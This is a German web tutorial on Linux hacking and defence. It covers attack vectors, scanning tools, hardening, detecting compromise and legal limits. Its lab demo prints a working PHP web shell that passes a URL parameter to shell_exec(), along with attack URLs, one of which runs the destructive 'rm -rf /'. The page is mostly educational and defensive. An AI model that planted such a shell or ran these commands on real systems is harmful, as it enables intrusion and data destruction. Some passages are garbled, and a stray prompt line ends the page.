Linux-Hacking-Tutorial: Ubuntu Befehle und Werkzeuge

โšก Intelligente Zusammenfassung

Linux-Hacking ist die Praxis, Schwachstellen in Linux-Systemen zu finden und auszunutzen. Auf dieser Seite werden die Schwachstellen erlรคutert, die Angreifer anvisieren, die verwendeten Prรผfwerkzeuge und die Kontrollmechanismen, die einen Server schรผtzen.

  • ๐Ÿง Warum es darauf ankommt: Linux ist die Basis der meisten Webserver und Cloud-Workloads und macht es daher zu einem attraktiven Ziel.
  • ๐Ÿ” Open-Source-Abwรคgung: Der รถffentlich zugรคngliche Quellcode hilft den Entwicklern, schnell Patches bereitzustellen, und erleichtert Angreifern die Suche nach Schwachstellen.
  • ๐Ÿงฐ Prรผfwerkzeuge: Nessus, Nmap, Lynis und OpenVAS Offene Ports, fehlende Patches und schwache Konfigurationen aufdecken.
  • ๐Ÿ’ฅ Angriffsvektoren: Schwache SSH-Zugangsdaten, ungepatchte Kernel, Fehlkonfigurationen und Web-Shells sind die Hauptursachen fรผr Sicherheitslรผcken.
  • ๐Ÿ›ก๏ธ Hรคrten: Patch-Management, SSH-Hรคrtung, das Prinzip der minimalen Berechtigungen und obligatorische Zugriffskontrollen reduzieren das Angriffsrisiko erheblich.
  • ๐Ÿšจ Erkennung: Audit-Protokolle, Integritรคtsprรผfungen von Dateien und Angriffserkennungssysteme decken Sicherheitslรผcken auf, bevor sich der Schaden ausbreiten kann.

Linux-Hacking-Tutorial

Linux ist das am weitesten verbreitete Serverbetriebssystem, insbesondere fรผr Webserver. Es ist Open Source, das heiรŸt, jeder kann den Quellcode lesen. Diese Transparenz hat Vor- und Nachteile: Entwickler nutzen sie, um Fehler schnell zu finden und zu beheben, wรคhrend Angreifer denselben Code analysieren, um Schwachstellen auszunutzen. Linux-Hacking bezeichnet die Praxis, diese Schwachstellen auszunutzen, um sich unbefugten Zugriff auf ein System zu verschaffen.

Die folgenden Abschnitte behandeln, was Linux ist, welche Sicherheitslรผcken es betrifft und geben einen praktischen Einblick ins Hacking mit Ubuntuund die GegenmaรŸnahmen, die Sie ergreifen kรถnnen.

Kurzer Hinweis zu Linux

Linux ist ein Open-Source-Betriebssystem. Viele Distributionen basieren darauf, darunter Red Hat Enterprise LinuxFedora, Debian und UbuntuDa der Quellcode verรถffentlicht ist, kรถnnen Forscher, Anbieter und Angreifer ihn gleichermaรŸen einsehen. Angreifer nutzen diesen Zugriff, um nach ausnutzbaren Schwachstellen zu suchen, wรคhrend die gleiche Transparenz es den Entwicklern ermรถglicht, Fehlerbehebungen schneller bereitzustellen, als es bei geschlossenen Plattformen oft der Fall ist. Linux lรคuft als Betriebssystem auf Servern, Desktop-Computern, Tablets und Mobilgerรคten.

Linux-Programme kรถnnen รผber eine grafische Benutzeroberflรคche oder die Kommandozeile bedient werden. Die Arbeit mit der Kommandozeile ist schneller und prรคziser als die Navigation durch eine grafische Oberflรคche, weshalb Sicherheitstester, die mit Distributionen wie Linux arbeiten, diese bevorzugen. Kali Linux Sie verbringen fast ihre gesamte Zeit im Terminal. Die Kenntnis der grundlegenden Befehle ist daher eine praktische Voraussetzung.

Beziehen Sie sich darauf Linux-Tutorial fรผr die Grundlagen und fรผr die Kali Linux Lernprogramm fรผr die darauf aufbauende, sicherheitsorientierte Distribution.

Hรคufige Sicherheitslรผcken und Angriffsvektoren unter Linux

Angriffe auf Linux basieren selten auf exotischen Sicherheitslรผcken. Telemetriedaten aus den Jahren 2025 und 2026 zeigen, dass die meisten Kompromittierungen auf โ€ฆ beruhen. tracKehren wir zu einer kleinen Anzahl wiederkehrender Schwรคchen zurรผck, und wenn wir diese kennen, wissen wir, wo wir unsere defensiven Anstrengungen zuerst konzentrieren sollten.

  • Schwache oder wiederverwendete SSH-Zugangsdaten โ€” Brute-Force-Angriffe und Credential-Stuffing-Versuche gegen SSH-Zugangspunkte mit Internetzugang machen den GroรŸteil der beobachteten feindseligen Aktivitรคten auf Linux-Endpunkten aus.
  • Ungepatchte Kernel- und Paketfehler โ€” Das Linux-Kernel-Team wurde 2024 zur CVE Numbering Authority ernannt, und die Anzahl der gemeldeten Kernel-CVEs stieg von etwa 290 im Jahr 2023 auf mehr als 3,500 im darauffolgenden Jahr, sodass sich schnell Patch-Rรผckstรคnde aufbauen.
  • Fehlkonfiguration โ€” Standardkonten, unnรถtige Daemons, fรผr alle Benutzer beschreibbare Dateien und permissive sudo-Regeln verleihen Privilegien, fรผr deren Erlangung kein Exploit erforderlich war.
  • Anfรคllige Webanwendungen โ€” Mรคngel wie SQL-Injection Cross-Site-Scripting ermรถglicht es Angreifern, den Server รผber die Anwendung anstatt รผber das Betriebssystem zu erreichen. Web-Shells sind die am hรคufigsten gefundene Schadsoftware auf kompromittierten Linux-Servern.
  • Fehler bei der Rechteausweitung โ€“ Lokale Sicherheitslรผcken, die ein eingeschrรคnktes Benutzerkonto in ein Root-Konto verwandeln. Einige blieben รผber ein Jahrzehnt lang unentdeckt im Kernel, bevor sie aufgedeckt wurden.
  • Lieferketten- und Abhรคngigkeitsrisiko โ€” Drittanbieterpakete, Sprachbibliotheken und Container-Images laden Code herunter, den niemand aus dem Betriebsteam geprรผft hat.

Keiner dieser Angriffe erfordert, dass ein Angreifer Linux selbst kompromittiert. Analysen von 2025 Eindringversuchen ergaben, dass etwa vier von fรผnf gar keine Schadsoftware beinhalteten, sondern auf Fehlkonfigurationen und gestohlenen Zugangsdaten beruhten.

Linux-Hacking-Tools

Sicherheitstester und Systemadministratoren verwenden dieselben Scanner: Die einen suchen nach Schwachstellen, bevor Angreifer sie ausnutzen, die anderen รผberprรผfen die Wirksamkeit der Korrekturen. Die folgenden Tools werden am hรคufigsten fรผr die รœberprรผfung eines Linux-Hosts eingesetzt.

Werkzeug Typ Lizenz Typische Verwendung unter Linux
Nessus Scanner fรผr Sicherheitslรผcken Gewerbliche Anwendungen Durchsucht Konfigurationseinstellungen, fehlende Patches und Netzwerkdienste in heterogenen Umgebungen.
Nmap Netzwerk- und Portscanner Open Source Identifiziert die auf einem Server laufenden Hosts, die von ihnen bereitgestellten Dienste und die geรถffneten Ports.
Lynis Host-Auditierung und -Hรคrtung Open Source Prรผft ein laufendes System anhand von Hรคrtungsstandards und meldet konkrete KorrekturmaรŸnahmen.
OpenVAS Scanner fรผr Sicherheitslรผcken Open Source Netzwerk-Schwachstellenscan, der von Greenbone als Teil seiner Community Edition bereitgestellt wird.

Die Liste ist nicht vollstรคndig; sie vermittelt einen Eindruck von den fรผr die Prรผfung verfรผgbaren Instrumenten. Ubuntu und anderen Linux-Systemen. ร„ltere Anleitungen empfehlen noch SARA, den Security Auditor's Research Assistant, aber dessen letzte Version stammt aus dem Jahr 2009 und die Projektwebsite ist offline, daher Lynis und OpenVAS sind die beibehaltenen Alternativen.

Hacking-Aktivitรคt: Hack a Ubuntu Linux-System mit PHP

In diesem praktischen Szenario untersuchen wir, wie ein Linux-Host รผber eine Webanwendung erreicht werden kann, am Beispiel von PHP. Es wird kein lebendes Opfer angegriffen. Wenn Sie es ausprobieren mรถchten, installieren Sie LAMPP, die Linux-Version von XAMPP, auf Ihrem Rechner.

PHP Es enthรคlt zwei Funktionen zum Ausfรผhren von Betriebssystembefehlen: exec() und shell_exec(). Die Funktion exec() gibt die letzte Zeile der Befehlsausgabe zurรผck, wรคhrend shell_exec() das gesamte Ergebnis des Befehls als Zeichenkette zurรผckgibt.

Nehmen wir zur Veranschaulichung an, ein Angreifer schafft es, die folgende Datei auf einen Webserver hochzuladen.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

HIER,

Das obige Skript liest den Befehl aus der GET-Variablen namens cmd. Der Befehl wird mit shell_exec() ausgefรผhrt und das Ergebnis im Browser angezeigt.

Der obige Code kann mithilfe der folgenden Methoden ausgenutzt werden: URL

http://localhost/cp/konsole.php?cmd=ls%20-l

HIER,

  • โ€œโ€ฆkonsole.php?cmd=ls%20-lโ€ weist der Variablen cmd den Wert ls -l zu.

Der Befehl auf dem Ubuntu Der Server wird daher wie folgt ausgefรผhrt:

shell_exec('ls -l') ;

Die Ausfรผhrung des obigen Codes auf einem Webserver fรผhrt zu einem Ergebnis, das in etwa dem folgenden entspricht.

Browserausgabe eines PHP-Skripts, das Verzeichnisinhalte und Dateiberechtigungen auflistet Ubuntu Server

Die Ausgabe zeigt lediglich die Dateien im aktuellen Verzeichnis und deren Berechtigungen an.

Nehmen wir nun an, der Angreifer รผbergibt stattdessen den folgenden Befehl.

rm -rf /

HIER,

  • โ€žrmโ€œ lรถscht Dateien.
  • โ€žrfโ€œ bewirkt, dass der Befehl rm rekursiv ausgefรผhrt wird und somit alle Ordner und Dateien gelรถscht werden.
  • โ€œ/โ€ weist den Befehl an, mit dem Lรถschen im Stammverzeichnis zu beginnen.

Der Angriff URL wรผrde ungefรคhr so โ€‹โ€‹aussehen

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Ein einziger nicht validierter Parameter genรผgt daher, um einem Angreifer sรคmtliche Berechtigungen des Webserver-Kontos zu verleihen. Die beiden folgenden Abschnitte dienen dazu, dies zu verhindern und Fehler abzufangen, wenn die PrรคventionsmaรŸnahmen fehlschlagen.

Wie man Linux-Hacks verhindert

Linux-Hacking nutzt Schwachstellen im Betriebssystem und in der darauf laufenden Software aus. Eine Organisation kann die folgenden, gemeinsam angewandten MaรŸnahmen ergreifen, um die meisten der oben beschriebenen Sicherheitslรผcken zu schlieรŸen.

  • Patch-Management Patches beheben die Sicherheitslรผcken, die Angreifer ausnutzen, um ein System zu kompromittieren. Eine festgelegte Richtlinie stellt sicher, dass relevante Updates umgehend und nicht nur dann eingespielt werden, wenn sich jemand daran erinnert.
  • Richtige Betriebssystemkonfiguration โ€” Inaktive Benutzerkonten und unnรถtige Dienste deaktivieren. Standardeinstellungen รคndern, einschlieรŸlich Standardbenutzernamen, Passwรถrter fรผr gemeinsam genutzte Anwendungen und Standardportnummern.
  • SSH-Hรคrtung โ€” Deaktivieren Sie die Anmeldung und Passwortauthentifizierung fรผr den Root-Benutzer, erlauben Sie nur benannte Benutzer oder Gruppen und begrenzen Sie die Anzahl der Authentifizierungsversuche. Dadurch wird der am hรคufigsten angegriffene Sicherheitsvorkehrungspunkt unter Linux geschlossen.
  • Geringstes Privileg โ€” Konten und Diensten sollten nur die Rechte gegeben werden, die sie benรถtigen, und sudo sollte auf bestimmte Befehle beschrรคnkt werden, anstatt einen umfassenden administrativen Zugriff zu gewรคhren.
  • Obligatorische Zugriffskontrolle โ€” SELinux (Red Hat-Familie) oder AppArmor (Debian und Ubuntu) im Erzwingungsmodus, sodass ein kompromittierter Dienst den Rest des Systems nicht erreichen kann.
  • Eingabevalidierung โ€” Die obige Demonstration funktioniert nur, weil die Anfragedaten eine Shell-Funktion erreichen. รœbergeben Sie niemals Benutzereingaben an exec() oder shell_exec().
  • Firewalls und Segmentierung โ€” nur die Ports freigeben, die ein Dienst tatsรคchlich benรถtigt, mithilfe eines Firewall und Netzwerksegmentierung, um die Reichweite eines kompromittierten Hosts einzuschrรคnken.
  • Einbrucherkennungssystem โ€” Solche Tools kรถnnen dazu verwendet werden, unbefugten Zugriff auf das System zu erkennen, und einige kรถnnen den Zugriffsversuch auch blockieren.
  • Getestete Backups โ€” Offline wiederherstellbare Backups machen aus einem destruktiven Befehl wie dem oben genannten eher einen vorรผbergehenden Ausfall als einen dauerhaften Datenverlust.

Wie man ein kompromittiertes Linux-System erkennt

Prรคvention scheitert irgendwann, daher ist die zweite Frage, wie schnell man es bemerken wรผrde. Die Erkennung unter Linux hรคngt davon ab, die richtigen Beweise vor einem Vorfall zu sammeln, nicht erst danach.

  • Audit-Protokollierung Das Kernel-Audit-Framework auditd protokolliert die Nutzung von Berechtigungen, Dateizugriffe und Systemaufrufe in einer Form, die ein kompromittierter Prozess nicht unbemerkt รผberschreiben kann. Diese Protokolle werden vom Host an einen zentralen Sammler weitergeleitet.
  • Authentifizierungsprotokolle โ€” eine Reihe von Fehlschlรคgen, gefolgt von einem einzelnen Erfolg in /var/log/auth.log oder /var/log/secure, ist die klassische Brute-Force-Signatur.
  • Unerwartete Prozesse und Verbindungen โ€” Ein Abhรถrdienst oder eine ausgehende Verbindung, fรผr die niemand eine Erklรคrung hat, muss sofort untersucht werden.
  • รœberwachung der Dateiintegritรคt โ€” Tools, die Systembinรคrdateien und Konfigurationsdateien hashen, kennzeichnen ร„nderungen an Dateien, die sich niemals รคndern sollten.
  • Geplante Aufgaben und Startelemente โ€” Persistenz findet รผblicherweise in Cronjobs, Systemd-Units oder Shell-Profilskripten statt.
  • Neue oder geรคnderte Konten โ€” Achten Sie auf unbekannte Benutzer, alle zweiten Accounts mit UID 0 und SSH-Schlรผssel, die niemand hinzugefรผgt hat.
  • Webserver-Verzeichnisse Da Web-Shells die am hรคufigsten auf Linux-Servern gefundenen Schadprogramme sind, verdienen unerwartete Skriptdateien unter einem Web-Root besondere Aufmerksamkeit.
  • Geplante Audits โ€” Fรผhren Sie ein Host-Audit-Tool wie Lynis regelmรครŸig aus und behandeln Sie jeden Bericht als Arbeitsliste und nicht als einmalige Aufgabe.

Sollten Sie Anzeichen einer Kompromittierung finden, isolieren Sie den Host, sichern Sie die Protokolle und ein Festplattenabbild, bevor Sie ร„nderungen vornehmen, und stellen Sie das System von bekannten, fehlerfreien Medien wieder her, anstatt ein laufendes System zu bereinigen. Die Beweissicherung wird in [Referenz einfรผgen] behandelt. digitale Forensik.

Rechtliche und ethische Grenzen des Linux-Hackings

Alle auf dieser Seite beschriebenen Techniken dรผrfen auf Systemen, die Ihnen gehรถren oder fรผr die Sie eine schriftliche Genehmigung zum Testen haben, rechtmรครŸig angewendet werden; andernorts sind sie jedoch fast รผberall unzulรคssig. Die obige รœbung wird aus genau diesem Grund absichtlich auf einer lokalen Installation durchgefรผhrt.

  • Schriftliche Genehmigung โ€“ Ein unterzeichneter Testumfang, ein vereinbarter Testzeitraum und ein benannter Ansprechpartner unterscheiden einen Penetrationstest von einer Straftat. Eine mรผndliche Zustimmung genรผgt nicht.
  • Bleiben Sie im Rahmen โ€” Hosts, Adressbereiche und Techniken, die nicht aufgefรผhrt sind, sind nicht zulรคssig, auch wenn sie erreichbar sind.
  • Daten sorgfรคltig behandeln โ€” Beweismittel, die wรคhrend eines Tests gesammelt wurden, enthalten immer noch reale personenbezogene Daten und mรผssen sicher aufbewahrt und anschlieรŸend vernichtet werden.
  • Verantwortungsvoll melden โ€” die Ergebnisse dem Eigentรผmer mitzuteilen und Zeit fรผr eine Behebung des Problems einzurรคumen, bevor etwas verรถffentlicht wird.

Das rechtliche Risiko ist real: Unbefugter Zugriff auf ein Computersystem ist eine Straftat, beispielsweise nach dem US-amerikanischen Computer Fraud and Abuse Act und dem britischen Computer Misuse Act. Wer in diesem Bereich Karriere machen mรถchte, sollte einen anerkannten Weg einschlagen โ€“ eine Ausbildung zum Computerfachmann oder eine vergleichbare Qualifikation. Sicherheitszertifizierung und dazu noch ein eigenes Labor, anstatt den Server von jemand anderem.

Hรคufig gestellte Fragen

Linux profitiert von der strikten Trennung der Benutzer und der geringeren Angriffsflรคche auf Desktop-Systemen, wodurch es deutlich seltener von gรคngiger Malware betroffen ist. Anders sieht es bei Servern aus: Linux-Hosts mit Internetzugang sind stรคndig Angriffen ausgesetzt, und die Qualitรคt der Konfiguration entscheidet รผber den Erfolg.

Signaturprรผfung ist hilfreich auf Datei- und Mailservern, die Inhalte fรผr andere Plattformen verarbeiten. Fรผr die meisten Linux-Systeme sind Patches, Systemhรคrtung und protokollbasierte Erkennung jedoch sinnvoller, da die meisten Angriffe gar keine Schadsoftware beinhalten.

Maschinelle Lernmodelle analysieren das normale Prozess-, Anmelde- und Netzwerkverhalten eines Hosts und erkennen Abweichungen, die von festen Regeln รผbersehen werden โ€“ beispielsweise wenn ein Webserver-Konto eine Shell startet. Angreifer nutzen dieselben Techniken, um ihre Aufklรคrung zu beschleunigen, sodass beide Seiten in Bewegung bleiben.

GitHub-Copilot Es kann parametrisierte Abfragen und sicherere Alternativen zu Shell-Aufrufen vorschlagen, wenn es direkt danach gefragt wird. Es wird mit รถffentlichem Code trainiert, daher mรผssen die Vorschlรคge noch รผberprรผft werden โ€“ betrachten Sie es als ersten Entwurfsassistenten, nicht als Sicherheitsscanner.

Beide basieren auf Debian, aber Kali Linux Es enthรคlt Hunderte vorinstallierter Sicherheits- und Forensik-Tools und ist fรผr Testarbeiten konzipiert. Ubuntu ist eine universelle Desktop- und Serverdistribution und eignet sich besser fรผr den tรคglichen Gebrauch.

Installieren Sie Sicherheitsupdates mindestens monatlich und innerhalb weniger Tage fรผr kritische oder bekanntermaรŸen angreifbare Sicherheitslรผcken. Aktivieren Sie automatische Sicherheitsupdates und planen Sie Neustarts, damit Kernelkorrekturen wirksam werden.

Beginnen Sie mit einer Linux-Administrationszertifizierung wie LPIC oder RHCSA, ergรคnzen Sie diese durch CompTIA Security+ und steigen Sie dann in die praktische Penetrationstestung oder das Management ein. track. Guru99 fรผhrt eine Liste von Cyber-Sicherheitszertifizierungen mit den aktuellen Anforderungen.

Nutzen Sie eine virtuelle Maschine auf Ihrer eigenen Hardware oder eine zugelassene Trainingsplattform wie z. B. Versuchen Sie HackMeDie Zielsysteme sind genau fรผr diesen Zweck vorgesehen. Testen Sie niemals ein System, das Ihnen nicht gehรถrt, ohne schriftliche Genehmigung.

Fassen Sie diesen Beitrag mit folgenden Worten zusammen: